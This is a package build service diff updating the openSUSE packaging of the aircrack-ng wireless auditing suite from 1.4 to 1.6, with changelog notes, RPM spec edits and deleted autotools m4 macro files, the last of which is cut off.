Packman Build Service PMBS

Changes of Revision 9

aircrack-ng.changes Changed

@@ -1,4 +1,84 @@
 -------------------------------------------------------------------
+Mon Feb 10 11:09:52 UTC 2020 - Martin Hauke <mardnh@gmx.de>
+
+- Run spec-cleaner
+- Use pkg-config style BuildRequires
+- Drop ifdef's for old distributions (<15.0)
+- Prepare testsuite (don't run yet)
+- Don't package airgraph-ng for now since there are packaging
+  conflicts with python-graphviz (should be fixed upstream)
+- Update to version 1.6
+  * Aircrack-ng: Fixed ARM processors display with -u
+  * Aircrack-ng: Fixed AVX-512F support
+  * Aircrack-ng: Fixed cracking speed calculation
+  * Aircrack-ng: Fixed cracking WEP beyond 10k IVS
+  * Aircrack-ng: Fixed creating new session and added test case
+  * Aircrack-ng: Fixed encryption display in some cases when
+    prompting for network to crack
+  * Aircrack-ng: Fixed exiting Aircrack-ng in some cases
+  * Aircrack-ng: Fixed logical and physical processor count
+    detection
+  * Aircrack-ng: Fixed PMKID length check
+  * Aircrack-ng: Various fixes and improvements to WPA cracking
+    engine and its performance
+  * Airdecap-ng: Decrypt both directions when WDS is in use
+  * Airdecap-ng: Fixed decrypting WPA PCAP when BSSID changes
+  * Airgraph-ng: Added support for WPA3
+  * Airgraph-ng: Switch to argparse
+  * Airmon-ng: Added detection for wicd, Intel Wireless Daemon
+    (iwd), net_applet
+  * Airmon-ng: Handle case when avahi keeps getting restarted
+  * Airmon-ng: Indicates when interface doesn't exist
+  * Airodump-ng: Added autocolorization interactive key
+  * Airodump-ng: Added option to read PCAP in realtime (-T)
+  * Airodump-ng: Added PMKID detection
+  * Airodump-ng: Added support for GMAC
+  * Airodump-ng: Added support for WPA3 and OWE (Enhanced Open)
+  * Airodump-ng: Basic UTF-8 support
+  * Airodump-ng: Checked management frames are complete before
+    processing IE to avoid switch from WEP to WPA
+  * Airodump-ng: Display signal when reading from PCAP
+  * Airodump-ng: Fixed netxml output with hidden SSID
+  * Airodump-ng: Improved rates calculation for 802.11n/ac
+  * Airtun-ng: Fixed using -p with -e
+  * Autoconf: Fixed order of ssl and crypto libraries
+  * dcrack: Fixed client reporting benchmark
+  * dcrack: Now handles chunked encoding when communicating
+    (default in Python3)
+  * Freeradius-WPE: Updated patch for v3.0.20
+  * General: Added python3 support to scripts
+  * General: Added security policy to report security issues
+  * General: Reorganizing filesystem layout (See PR 2032), and
+    switch to automake 1.14+
+  * General: Convert to non-recursive make (part of PR 2032)
+  * General: Deduplicating functions and code cleanups
+  * General: Fixed packaging on cygwin due to openssl library
+    name change
+  * General: Removed coveralls.io
+  * General: Updated dependencies in README.md/INSTALLING
+  * General: Use upstream radiotap libary, as a sub-tree
+  * HostAPd-WPE: Updated for v2.9
+  * Manpages: Fixes and improvements
+  * Tests: Added Integration tests for aireplay-ng, airodump-ng,
+    aircrack-ng, airbase-ng, and others
+  * Tests: Added tests for airdecap-ng, aircrack-ng
+- Update to version 1.5.2
+  * Airodump-ng: Fixed AP selection slip in interactive mode
+  * Airodump-ng: Revamped GPS logging functionality and added
+    new logging format (logcsv)
+  * Aircrack-ng: Only load the maximum supported and available
+    crypto engine
+  * Aircrack-ng: Reworked wordlist producer/consumer queue
+  * Airserv-ng: Fixed communication between platforms with
+    different size int
+  * Airmon-ng: Improved detection of Raspberry Pis
+  * General: Signed and unsigned comparison fixes
+  * General: Added more tests
+  * General: Compilation improvements/fixes in autotools
+  * General: Big endian fixes
+  * General: Fixed spelling errors
+
+-------------------------------------------------------------------
 Wed Oct 10 07:34:27 UTC 2018 - aloisio@gmx.com
 
 - Update to version 1.4

aircrack-ng.spec Changed

@@ -19,28 +19,33 @@
 %bcond_without unstable
 %bcond_without sqlite
 Name:           aircrack-ng
-Version:        1.4
+Version:        1.6
 Release:        0
 Summary:        A set of tools for auditing wireless networks
-License:        GPL-2.0+
+License:        GPL-2.0-or-later
 Group:          Productivity/Networking/Security
 URL:            https://www.aircrack-ng.org/
 Source0:        https://download.aircrack-ng.org/%{name}-%{version}.tar.gz
 Source1:        README.SUSE
 BuildRequires:  autoconf
+BuildRequires:  ethtool
+BuildRequires:  expect
 BuildRequires:  fdupes
 BuildRequires:  gcc-c++
 BuildRequires:  libgcrypt-devel
-BuildRequires:  libnl3-devel
 BuildRequires:  libpcap-devel
 BuildRequires:  libtool
 BuildRequires:  pkgconfig
-%if 0%{?suse_version} >= 1500
-BuildRequires:  python-devel
-%endif
-BuildRequires:  sqlite3-devel
-BuildRequires:  zlib-devel
+BuildRequires:  python3-setuptools
+BuildRequires:  python3-graphviz
+BuildRequires:  pkgconfig(cmocka)
+BuildRequires:  pkgconfig(hwloc)
+BuildRequires:  pkgconfig(libnl-3.0)
+BuildRequires:  pkgconfig(libpcre)
+BuildRequires:  pkgconfig(sqlite3)
+BuildRequires:  pkgconfig(zlib)
 Requires:       wireless-tools
+#Requires:       python3-graphviz
 
 %description
 Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that
@@ -55,35 +60,47 @@
 %setup -q
 find patches/ -type f -exec sed -i 's|\r||g' {} \;
 cp "%{SOURCE1}" .
-sed -i '/^docdir =/cdocdir = $(datadir)/doc/packages/@PACKAGE@' scripts/airdrop-ng/doc/Makefile.am
-sed -i '/^#!/c#!%__python' scripts/versuck-ng/versuck-ng scripts/airdrop-ng/airdrop/libOuiParse.py \
-       scripts/airgraph-ng/graphviz/libOuiParse.py
+# Force python3 interpreter
+sed -i -e 's|#!%{_bindir}/env python|#!%{_bindir}/python3|g' scripts/versuck-ng/versuck-ng
+# Drop shebang
+find . -type f -name "lib*Parse.py" -exec sed -i -e '/^#!\//, 1d' {} \;
 
 %build
+# GCC LTO objects must be "fat" to avoid assembly errors
+export CFLAGS="-ffat-lto-objects"
 autoreconf -fiv
 %configure \
-%if 0%{?suse_version} >= 1500
-           --enable-asan \
            --with-experimental=%{?with_unstable:yes --with-ext-scripts}%{?!with_unstable:no} \
-%endif
            --enable-static=yes \
            --enable-shared=no \
            --with-sqlite3=%{?with_sqlite:yes}%{?!with_sqlite:no} \
            --with-gcrypt \
            --enable-libnl
-make %{?_smp_mflags} V=1
+%make_build
 
 %install
 %make_install
 rm patches/old/ieee80211_inject.patch
-%if 0%{?suse_version} >= 1500
-rm -rf %{buildroot}%{python_sitelib}/aircrack-ng
-chmod 0755 %{buildroot}%{python_sitelib}/airdrop/libDumpParse.py \
-           %{buildroot}%{python_sitelib}/airdrop/libOuiParse.py \
-           %{buildroot}%{python_sitelib}/graphviz/libDumpParse.py \
-           %{buildroot}%{python_sitelib}/graphviz/libOuiParse.py
-%endif
 find %{buildroot} -type f $ -name "*.la" -o -name "*.a" $ -delete -print
+rm -f %{buildroot}%{_prefix}/local/lib/python3*/site-packages/aircrack-ng/air*-install_files.txt
+# Use correct path for docs
+install -d %{buildroot}/%{_docdir}/%{name}/
+mv -v %{buildroot}%{_datadir}/doc/aircrack-ng/* %{buildroot}/%{_docdir}/%{name}/
+
+# Don't package headers for now
+rm -rf %{buildroot}%{_includedir}/aircrack-ng/
+
+## Those belong to python3-graphiz
+#rm -f %{buildroot}%{python3_sitelib}/graphviz/__init__.py
+#rm -f %{buildroot}%{python3_sitelib}/graphviz/__pycache__/__init__.cpython-37.pyc
+
+## Drop airgraph-ng until dependecy issues with python-graphviz are fixed
+rm -rf %{buildroot}%{python3_sitelib}/graphviz/
+rm -rf %{buildroot}%{_bindir}/airgraph-ng
+
+
+#%%check
+#make check
 
 %files
 %license LICENSE LICENSE.OpenSSL
@@ -92,11 +109,10 @@
 %{_bindir}/aircrack-ng
 %{_bindir}/airdecap-ng
 %{_bindir}/airdecloak-ng
-%if 0%{?suse_version} >= 1500
 %doc %{_docdir}/%{name}/Apple.sample.txt
 %doc %{_docdir}/%{name}/dropRules.conf.example
 %{_bindir}/airdrop-ng
-%{_bindir}/airgraph-ng
+#%{_bindir}/airgraph-ng
 %{_bindir}/airodump-join
 %{_bindir}/besside-ng-crawler
 %{_bindir}/versuck-ng
@@ -108,7 +124,6 @@
 %{_sbindir}/tkiptun-ng
 %{_sbindir}/wesside-ng
 %endif
-%endif
 %{_bindir}/ivstools
 %{_bindir}/kstats
 %{_bindir}/makeivs-ng
@@ -126,8 +141,16 @@
 %endif
 %{_mandir}/man1/*.1%{?ext_man}
 %{_mandir}/man8/*.8%{?ext_man}
-%if 0%{?suse_version} >= 1500
-%{python_sitelib}/*
-%endif
+%{python3_sitelib}/airdrop
+%{python3_sitelib}/airdrop_ng*
+%{python3_sitelib}/airgraph_ng*
+#
+#%%{python3_sitelib}/graphviz*
+#%%{python3_sitelib}/graphviz/libDumpParse.py
+#%%{python3_sitelib}/graphviz/libOuiParse.py
+#%%{python3_sitelib}/graphviz/lib_Airgraphviz.py
+#%%{python3_sitelib}/graphviz/__pycache__/libDumpParse.cpython-37.pyc
+#%%{python3_sitelib}/graphviz/__pycache__/libOuiParse.cpython-37.pyc
+#%%{python3_sitelib}/graphviz/__pycache__/lib_Airgraphviz.cpython-37.pyc
 
 %changelog

aircrack-ng-1.4.tar.gz/build/code_coverage.sh Deleted

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_revision.m4 Deleted

@@ -1,45 +0,0 @@
-dnl Aircrack-ng
-dnl
-dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
-dnl
-dnl Autotool support was written by: Joseph Benden <joe@benden.us>
-dnl
-dnl This program is free software; you can redistribute it and/or modify
-dnl it under the terms of the GNU General Public License as published by
-dnl the Free Software Foundation; either version 2 of the License, or
-dnl (at your option) any later version.
-dnl
-dnl This program is distributed in the hope that it will be useful,
-dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
-dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-dnl GNU General Public License for more details.
-dnl
-dnl You should have received a copy of the GNU General Public License
-dnl along with this program; if not, write to the Free Software
-dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-dnl
-dnl In addition, as a special exception, the copyright holders give
-dnl permission to link the code of portions of this program with the
-dnl OpenSSL library under certain conditions as described in each
-dnl individual source file, and distribute linked combinations
-dnl including the two.
-dnl
-dnl You must obey the GNU General Public License in all respects
-dnl for all of the code used other than OpenSSL.
-dnl
-dnl If you modify file(s) with this exception, you may extend this
-dnl exception to your dnl version of the file(s), but you are not obligated
-dnl to do so.
-dnl
-dnl If you dnl do not wish to do so, delete this exception statement from your
-dnl version.
-dnl
-dnl If you delete this exception statement from all source files in the
-dnl program, then also delete it here.
-
-AC_DEFUN([AIRCRACK_NG_REVISION], [
-AC_ARG_VAR([_REVISION], [specifies the Aircrack-ng revision number])
-AC_DEFINE([_REVISION],
-    m4_translit(m4_esyscmd([./evalrev . quoted]),m4_newline),
-    [specifies the Aircrack-ng revision number, [default auto-detects]])
-])

aircrack-ng-1.4.tar.gz/build/m4/python.m4 Deleted

@@ -1,646 +0,0 @@
-# Copyright 2012, 2013, 2014 Brandon Invergo <brandon@invergo.net>
-#
-# This file is part of pyconfigure.  This program is free
-# software; you can redistribute it and/or modify it under the
-# terms of the GNU General Public License as published by the
-# Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# Under Section 7 of GPL version 3, you are granted additional
-# permissions described in the Autoconf Configure Script Exception,
-# version 3.0, as published by the Free Software Foundation.
-#
-# You should have received a copy of the GNU General Public License
-# and a copy of the Autoconf Configure Script Exception along with
-# this program; see the files COPYINGv3 and COPYING.EXCEPTION
-# respectively.  If not, see <http://www.gnu.org/licenses/>.
-
-
-# Many of these macros were adapted from ones written by Andrew Dalke
-# and James Henstridge and are included with the Automake utility
-# under the following copyright terms:
-#
-# Copyright (C) 1999-2012 Free Software Foundation, Inc.
-#
-# This file is free software; the Free Software Foundation
-# gives unlimited permission to copy and/or distribute it,
-# with or without modifications, as long as this notice is preserved.
-
-# Table of Contents:
-#
-# 1. Language selection
-#    and routines to produce programs in a given language.
-#
-# 2. Producing programs in a given language.
-#
-# 3. Looking for a compiler
-#    And possibly the associated preprocessor.
-#
-# 4. Looking for specific libs & functionality
-
-
-## ----------------------- ##
-## 1. Language selection.  ##
-## ----------------------- ##
-
-
-# AC_LANG(Python)
-# ---------------
-AC_LANG_DEFINE([Python], [py], [PY], [PYTHON], [],
-[ac_ext=py
-ac_compile='chmod +x conftest.$ac_ext >&AS_MESSAGE_LOG_FD'
-ac_link='chmod +x conftest.$ac_ext && cp conftest.$ac_ext conftest >&AS_MESSAGE_LOG_FD'
-])
-
-
-# AC_LANG_PYTHON
-# --------------
-AU_DEFUN([AC_LANG_PYTHON], [AC_LANG(Python)])
-
-
-## ----------------------- ##
-## 2. Producing programs.  ##
-## ----------------------- ##
-
-
-# AC_LANG_PROGRAM(Python)([PROLOGUE], [BODY])
-# -------------------------------------------
-m4_define([AC_LANG_PROGRAM(Python)], [dnl
-@%:@!$PYTHON
-$1
-m4_if([$2], [], [], [dnl
-if __name__ == '__main__':
-$2])])
-
-
-# _AC_LANG_IO_PROGRAM(Python)
-# ---------------------------
-# Produce source that performs I/O.
-m4_define([_AC_LANG_IO_PROGRAM(Python)],
-[AC_LANG_PROGRAM([dnl
-import sys
-try:
-    h = open('conftest.out')
-except:
-    sys.exit(1)
-else:
-    close(h)
-    sys.exit(0)
-], [])])
-
-
-# _AC_LANG_CALL(Python)([PROLOGUE], [FUNCTION])
-# ---------------------
-# Produce source that calls FUNCTION
-m4_define([_AC_LANG_CALL(Python)],
-[AC_LANG_PROGRAM([$1], [$2])])
-
-
-## -------------------------------------------- ##
-## 3. Looking for Compilers and Interpreters.   ##
-## -------------------------------------------- ##
-
-
-AC_DEFUN([AC_LANG_COMPILER(Python)],
-[AC_REQUIRE([PC_PROG_PYTHON])])
-
-
-# PC_INIT([MIN-VERSION], [MAX-VERSION]) 
-# -----------------------------
-# Initialize pyconfigure, finding a Python interpreter with a given
-# minimum and/or maximum version. 
-AC_DEFUN([PC_INIT],
-[PC_PROG_PYTHON([], [$1], [$2])
-dnl If we found something, do a sanity check that the interpreter really
-dnl has the version its name would suggest.
-m4_ifval([PYTHON],
-        [PC_PYTHON_VERIFY_VERSION([>=], [pc_min_ver], [],
-                  [AC_MSG_WARN([No compatible Python interpreter found. If you're sure that you have one, try setting the PYTHON environment variable to the location of the interpreter.])])])
-m4_ifval([PYTHON],
-        [PC_PYTHON_VERIFY_VERSION([<=], [pc_max_ver], [],
-                  [AC_MSG_WARN([No compatible Python interpreter found. If you're sure that you have one, try setting the PYTHON environment variable to the location of the interpreter.])])])
-])# PC_INIT
-
-# PC_PROG_PYTHON([PROG-TO-CHECK-FOR], [MIN-VERSION], [MAX-VERSION])
-# ---------------------------------
-# Find a Python interpreter.  Python versions prior to 2.0 are not
-# supported. (2.0 was released on October 16, 2000).
-AC_DEFUN_ONCE([PC_PROG_PYTHON],
-[AC_ARG_VAR([PYTHON], [the Python interpreter])
-dnl The default minimum version is 2.0
-m4_define_default([pc_min_ver], m4_ifval([$2], [$2], [2.0]))
-dnl The default maximum version is 3.3
-m4_define_default([pc_max_ver], m4_ifval([$3], [$3], [4.0]))
-dnl Build up a list of possible interpreter names. 
-m4_define_default([_PC_PYTHON_INTERPRETER_LIST],
-    [dnl If we want some Python 3 versions (max version >= 3.0), 
-dnl also search for "python3"
-     m4_if(m4_version_compare(pc_max_ver, [2.9]), [1], [python3], []) \
-dnl If we want some Python 2 versions (min version <= 2.7),
-dnl also search for "python2".
-     m4_if(m4_version_compare(pc_min_ver, [2.8]), [-1], [python2], []) \
-dnl Construct a comma-separated list of interpreter names (python2.6, 
-dnl python2.7, etc). We only care about the first 3 characters of the
-dnl version strings (major-dot-minor; not 
-dnl major-dot-minor-dot-bugfix[-dot-whatever])
-     m4_foreach([pc_ver], 
-                    m4_esyscmd_s(seq -s[[", "]] m4_substr(pc_max_ver, [0], [3]) -0.1 m4_substr(pc_min_ver, [0], [3])),
-dnl Remove python2.8 and python2.9 since they will never exist
-                    [m4_bmatch(pc_ver, [2.[89]], [], [python]pc_ver)]) \
-     [python]])
-dnl Do the actual search at last.
-m4_ifval([$1],
-	[AC_PATH_PROGS(PYTHON, [$1 _PC_PYTHON_INTERPRETER_LIST])],
-	[AC_PATH_PROGS(PYTHON, [_PC_PYTHON_INTERPRETER_LIST])])
-])# PC_PROG_PYTHON
-  
-
-# PC_PYTHON_PROG_PYTHON_CONFIG(PROG-TO-CHECK-FOR)
-# ----------------------------------------------
-# Find the python-config program
-AC_DEFUN([PC_PYTHON_PROG_PYTHON_CONFIG],
-[AC_REQUIRE([PC_PROG_PYTHON])[]dnl
-AC_ARG_VAR([PYTHON_CONFIG], [the Python-config program])
-dnl python-config's binary name is normally based on the Python interpreter's
-dnl binary name (i.e. python2.7 -> python2.7-config)
-m4_define([_PYTHON_BASENAME], [`basename $PYTHON`])
-m4_ifval([$1],
-	[AC_PATH_PROGS(PYTHON_CONFIG, [$1 _PYTHON_BASENAME-config])],
-	[AC_PATH_PROG(PYTHON_CONFIG, _PYTHON_BASENAME-config)])
-]) # PC_PYTHON_PROG_PYTHON_CONFIG
-
-
-# PC_PYTHON_VERIFY_VERSION([RELATION], [VERSION], [ACTION-IF-TRUE], [ACTION-IF-FALSE])
-# ---------------------------------------------------------------------------
-# Run ACTION-IF-TRUE if the Python interpreter PROG has version [RELATION] VERSION.
-# i.e if RELATION is "<", check if PROG has a version number less than VERSION.
-# Run ACTION-IF-FALSE otherwise.
-# Specify RELATION as any mathematical comparison "<", ">", "<=", ">=", "==" or "!="
-# This test uses sys.hexversion instead of the string equivalent (first
-# word of sys.version), in order to cope with versions such as 2.2c1.
-# This supports Python 2.0 or higher. (2.0 was released on October 16, 2000).
-AC_DEFUN([PC_PYTHON_VERIFY_VERSION],
-[m4_define([pc_python_safe_ver], m4_bpatsubsts($2, [\.], [_]))
-AC_CACHE_CHECK([if Python $1 '$2'],
-    [[pc_cv_python_req_version_]pc_python_safe_ver],
-    [AC_LANG_PUSH(Python)[]dnl
-     AC_RUN_IFELSE(
-        [AC_LANG_PROGRAM([dnl
-import sys
-], [dnl
-    # split strings by '.' and convert to numeric.  Append some zeros
-    # because we need at least 4 digits for the hex conversion.
-    # map returns an iterator in Python 3.0 and a list in 2.x
-    reqver = list(map(int, '$2'.split('.'))) + [[0, 0, 0]]
-    reqverhex = 0
-    # xrange is not present in Python 3.0 and range returns an iterator
-    for i in list(range(4)):
-        reqverhex = (reqverhex << 8) + reqver[[i]]
-    # the final 8 bits are "0xf0" for final versions, which are all
-    # we'll test against, since it's doubtful that a released software
-    # will depend on an alpha- or beta-state Python.
-    reqverhex += 0xf0
-    if sys.hexversion $1 reqverhex:
-        sys.exit()
-    else:
-        sys.exit(1)
-])], 
-         [[pc_cv_python_req_version_]pc_python_safe_ver=yes], 
-         [[pc_cv_python_req_version_]pc_python_safe_ver=no])
-     AC_LANG_POP(Python)[]dnl
-    ])
-AS_IF([test "$[pc_cv_python_req_version_]pc_python_safe_ver" = "no"], [$4], [$3])
-])# PC_PYTHON_VERIFY_VERSION
-
-
-# PC_PYTHON_CHECK_VERSION
-# -----------------------
-# Query Python for its version number.  Getting [:3] seems to be
-# the best way to do this; it's what "site.py" does in the standard
-# library.
-AC_DEFUN([PC_PYTHON_CHECK_VERSION],
-[AC_REQUIRE([PC_PROG_PYTHON])[]dnl
-AC_CACHE_CHECK([for $1 version], 
-    [pc_cv_python_version],
-    [AC_LANG_PUSH(Python)[]dnl
-     AC_LINK_IFELSE([AC_LANG_PROGRAM([dnl
-import sys
-], [dnl
-    sys.stdout.write(sys.version[[:3]])
-])],
-                   [pc_cv_python_version=`./conftest`],
-                   [AC_MSG_WARN([failed to run Python program])])
-     AC_LANG_POP(Python)[]dnl
-    ])
-AC_SUBST([PYTHON_VERSION], [$pc_cv_python_version])
-])# PC_PYTHON_CHECK_VERSION
-
-
-# PC_PYTHON_CHECK_PREFIX
-# ----------------------
-# Use the value of $prefix for the corresponding value of
-# PYTHON_PREFIX. This is made a distinct variable so it can be
-# overridden if need be.  However, general consensus is that you
-# shouldn't need this ability. 
-AC_DEFUN([PC_PYTHON_CHECK_PREFIX],
-[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
-dnl Try to get it with python-config otherwise do it from within Python
-AC_CACHE_CHECK([for Python prefix], [pc_cv_python_prefix],
-[if test -x "$PYTHON_CONFIG"; then
-    pc_cv_python_prefix=`$PYTHON_CONFIG --prefix 2>&AS_MESSAGE_LOG_FD`
-else
-    AC_LANG_PUSH(Python)[]dnl
-    AC_LINK_IFELSE([AC_LANG_PROGRAM([dnl
-import sys
-], [dnl
-    sys.stdout.write(sys.prefix)
-])], [pc_cv_python_prefix=`./conftest`;
-      if test $? != 0; then
-         AC_MSG_WARN([could not determine Python prefix])
-      fi],
-      [AC_MSG_WARN([failed to run Python program])])
-    AC_LANG_POP(Python)[]dnl
-fi])
-AC_SUBST([PYTHON_PREFIX], [$pc_cv_python_prefix])])
-
-
-# PC_PYTHON_CHECK_EXEC_PREFIX
-# --------------------------
-# Like above, but for $exec_prefix
-AC_DEFUN([PC_PYTHON_CHECK_EXEC_PREFIX],
-[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
-dnl Try to get it with python-config otherwise do it from within Python
-AC_CACHE_CHECK([for Python exec-prefix], [pc_cv_python_exec_prefix],
-[if test -x "$PYTHON_CONFIG"; then
-    pc_cv_python_exec_prefix=`$PYTHON_CONFIG --exec-prefix 2>&AS_MESSAGE_LOG_FD`
-else
-    AC_LANG_PUSH(Python)[]dnl
-    AC_LINK_IFELSE([AC_LANG_PROGRAM([dnl
-import sys
-], [dnl
-    sys.stdout.write(sys.exec_prefix)
-])],
-        [pc_cv_python_exec_prefix=`./conftest`;
-         if test $? != 0; then
-            AC_MSG_WARN([could not determine Python exec_prefix])
-         fi],
-         [AC_MSG_WARN([failed to run Python program])])
-    AC_LANG_POP(Python)[]dnl
-fi
-])
-AC_SUBST([PYTHON_EXEC_PREFIX], [$pc_cv_python_exec_prefix])])
-
-
-# PC_PYTHON_CHECK_INCLUDES
-# ------------------------
-# Find the Python header file include flags (ie
-# '-I/usr/include/python')
-AC_DEFUN([PC_PYTHON_CHECK_INCLUDES],
-[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
-dnl Try to find the headers location with python-config otherwise guess
-AC_CACHE_CHECK([for Python includes], [pc_cv_python_includes],
-[if test -x "$PYTHON_CONFIG"; then
-    pc_cv_python_includes=`$PYTHON_CONFIG --includes 2>&AS_MESSAGE_LOG_FD`
-else
-    pc_cv_python_includes="[-I$includedir/$_PYTHON_BASENAME]m4_ifdef(PYTHON_ABI_FLAGS,
-    PYTHON_ABI_FLAGS,)"
-fi
-])
-AC_SUBST([PYTHON_INCLUDES], [$pc_cv_python_includes])])
-
-
-# PC_PYTHON_CHECK_HEADERS([ACTION-IF-PRESENT], [ACTION-IF-ABSENT])
-# -----------------------
-# Check for the presence and usability of Python.h
-AC_DEFUN([PC_PYTHON_CHECK_HEADERS],
-[AC_REQUIRE([PC_PYTHON_CHECK_INCLUDES])[]dnl
-pc_cflags_store=$CPPFLAGS
-CPPFLAGS="$CFLAGS $PYTHON_INCLUDES"
-AC_CHECK_HEADER([Python.h], [$1], [$2])
-CPPFLAGS=$pc_cflags_store
-])
-
-
-# PC_PYTHON_CHECK_LIBS
-# --------------------
-# Find the Python lib flags (ie '-lpython')
-AC_DEFUN([PC_PYTHON_CHECK_LIBS],
-[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
-dnl Try to find the lib flags with python-config otherwise guess
-AC_CACHE_CHECK([for Python libs], [pc_cv_python_libs],
-[if test -x "$PYTHON_CONFIG"; then
-    pc_cv_python_libs=`$PYTHON_CONFIG --libs 2>&AS_MESSAGE_LOG_FD`
-else
-    pc_cv_python_libs="[-l$_PYTHON_BASENAME]m4_ifdef(PYTHON_ABI_FLAGS, PYTHON_ABI_FLAGS,)"
-fi
-])
-AC_SUBST([PYTHON_LIBS], [$pc_cv_python_libs])])
-
-
-# PC_PYTHON_TEST_LIBS(LIBRARY-FUNCTION, [ACTION-IF-PRESENT], [ACTION-IF-ABSENT])
-# -------------------
-# Verify that the Python libs can be loaded
-AC_DEFUN([PC_PYTHON_TEST_LIBS],
-[AC_REQUIRE([PC_PYTHON_CHECK_LIBS])[]dnl
-pc_libflags_store=$LIBS
-for lflag in $PYTHON_LIBS; do
-    case $lflag in
-    	 -lpython*@:}@
-		LIBS="$LIBS $lflag"
-		pc_libpython=`echo $lflag | sed -e 's/^-l//'`
-		;;
-         *@:}@;;
-    esac
-done
-AC_CHECK_LIB([$pc_libpython], [$1], [$2], [$3])])
-
-
-# PC_PYTHON_CHECK_CFLAGS
-# ----------------------
-# Find the Python CFLAGS
-AC_DEFUN([PC_PYTHON_CHECK_CFLAGS],
-[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
-dnl Try to find the CFLAGS with python-config otherwise give up
-AC_CACHE_CHECK([for Python CFLAGS], [pc_cv_python_cflags],
-[if test -x "$PYTHON_CONFIG"; then
-    pc_cv_python_cflags=`$PYTHON_CONFIG --cflags 2>&AS_MESSAGE_LOG_FD`
-else
-    pc_cv_python_cflags=
-fi
-])
-AC_SUBST([PYTHON_CFLAGS], [$pc_cv_python_cflags])])
-
-
-# PC_PYTHON_CHECK_LDFLAGS
-# -----------------------
-# Find the Python LDFLAGS
-AC_DEFUN([PC_PYTHON_CHECK_LDFLAGS],
-[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
-dnl Try to find the LDFLAGS with python-config otherwise give up
-AC_CACHE_CHECK([for Python LDFLAGS], [pc_cv_python_ldflags],
-[if test -x "$PYTHON_CONFIG"; then
-    pc_cv_python_ldflags=`$PYTHON_CONFIG --ldflags 2>&AS_MESSAGE_LOG_FD`
-else
-    pc_cv_python_ldflags=
-fi
-])
-AC_SUBST([PYTHON_LDFLAGS], [$pc_cv_python_ldflags])])
-
-
-# PC_PYTHON_CHECK_EXTENSION_SUFFIX
-# --------------------------------
-# Find the Python extension suffix (i.e. '.cpython-32.so')
-AC_DEFUN([PC_PYTHON_CHECK_EXTENSION_SUFFIX],
-[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
-dnl Try to find the suffix with python-config otherwise give up
-AC_CACHE_CHECK([for Python extension suffix], [pc_cv_python_extension_suffix],
-[if test -x "$PYTHON_CONFIG"; then
-     pc_cv_python_extension_suffix=`$PYTHON_CONFIG --extension-suffix 2>&AS_MESSAGE_LOG_FD`
-else
-    pc_cv_python_extension_suffix=
-fi
-])
-AC_SUBST([PYTHON_EXTENSION_SUFFIX], [$pc_cv_python_extension_suffix])])
-
-
-# PC_PYTHON_CHECK_ABI_FLAGS
-# -------------------------
-# Find the Python ABI flags
-AC_DEFUN([PC_PYTHON_CHECK_ABI_FLAGS],
-[AC_REQUIRE([PC_PYTHON_PROG_PYTHON_CONFIG])[]dnl
-dnl Try to find the ABI flags with python-config otherwise give up
-AC_CACHE_CHECK([for Python ABI flags], [pc_cv_python_abi_flags],
-[if test -x "$PYTHON_CONFIG"; then
-     pc_cv_python_abi_flags=`$PYTHON_CONFIG --abiflags 2>&AS_MESSAGE_LOG_FD`
-else
-    pc_cv_python_abi_flags=
-fi
-])
-AC_SUBST([PYTHON_ABI_FLAGS], [$pc_cv_python_abi_flags])])
-
-
-# PC_PYTHON_CHECK_PLATFORM
-# ------------------------
-# At times (like when building shared libraries) you may want
-# to know which OS platform Python thinks this is.
-AC_DEFUN([PC_PYTHON_CHECK_PLATFORM],
-[AC_REQUIRE([PC_PROG_PYTHON])[]dnl
-dnl Get the platform from within Python (sys.platform)
-AC_CACHE_CHECK([for Python platform], [pc_cv_python_platform],
-    [AC_LANG_PUSH(Python)[]dnl
-     AC_LINK_IFELSE([AC_LANG_PROGRAM([dnl
-import sys
-], [dnl
-    sys.stdout.write(sys.platform)
-])], [pc_cv_python_platform=`./conftest`;
-     if test $? != 0; then
-        AC_MSG_WARN([could not determine Python platform])
-     fi],
-     [AC_MSG_WARN([failed to run Python program])])
-    AC_LANG_POP(Python)[]dnl
-   ])
-AC_SUBST([PYTHON_PLATFORM], [$pc_cv_python_platform])
-])
-
-
-# PC_PYTHON_CHECK_SITE_DIR
-# ---------------------
-# The directory to which new libraries are installed (i.e. the
-# "site-packages" directory.
-AC_DEFUN([PC_PYTHON_CHECK_SITE_DIR],
-[AC_REQUIRE([PC_PROG_PYTHON])AC_REQUIRE([PC_PYTHON_CHECK_PREFIX])[]dnl
-AC_CACHE_CHECK([for Python site-packages directory],
-    [pc_cv_python_site_dir],
-    [AC_LANG_PUSH(Python)[]dnl
-    if test "x$prefix" = xNONE
-     then
-       pc_py_prefix=$ac_default_prefix
-     else
-       pc_py_prefix=$prefix
-     fi
-     AC_LINK_IFELSE([AC_LANG_PROGRAM([dnl
-import sys
-from platform import python_implementation
-# sysconfig in CPython 2.7 doesn't work in virtualenv
-# <https://github.com/pypa/virtualenv/issues/118>
-try:
-    import sysconfig
-except:
-    can_use_sysconfig = False
-else:
-    can_use_sysconfig = True
-if can_use_sysconfig:
-    if python_implementation() == "CPython" and sys.version[[:3]] == '2.7':
-        can_use_sysconfig = False
-if not can_use_sysconfig:        
-    from distutils import sysconfig
-    sitedir = sysconfig.get_python_lib(False, False, prefix='$pc_py_prefix')
-else:
-    sitedir = sysconfig.get_path('purelib', vars={'base':'$pc_py_prefix'})
-], [dnl
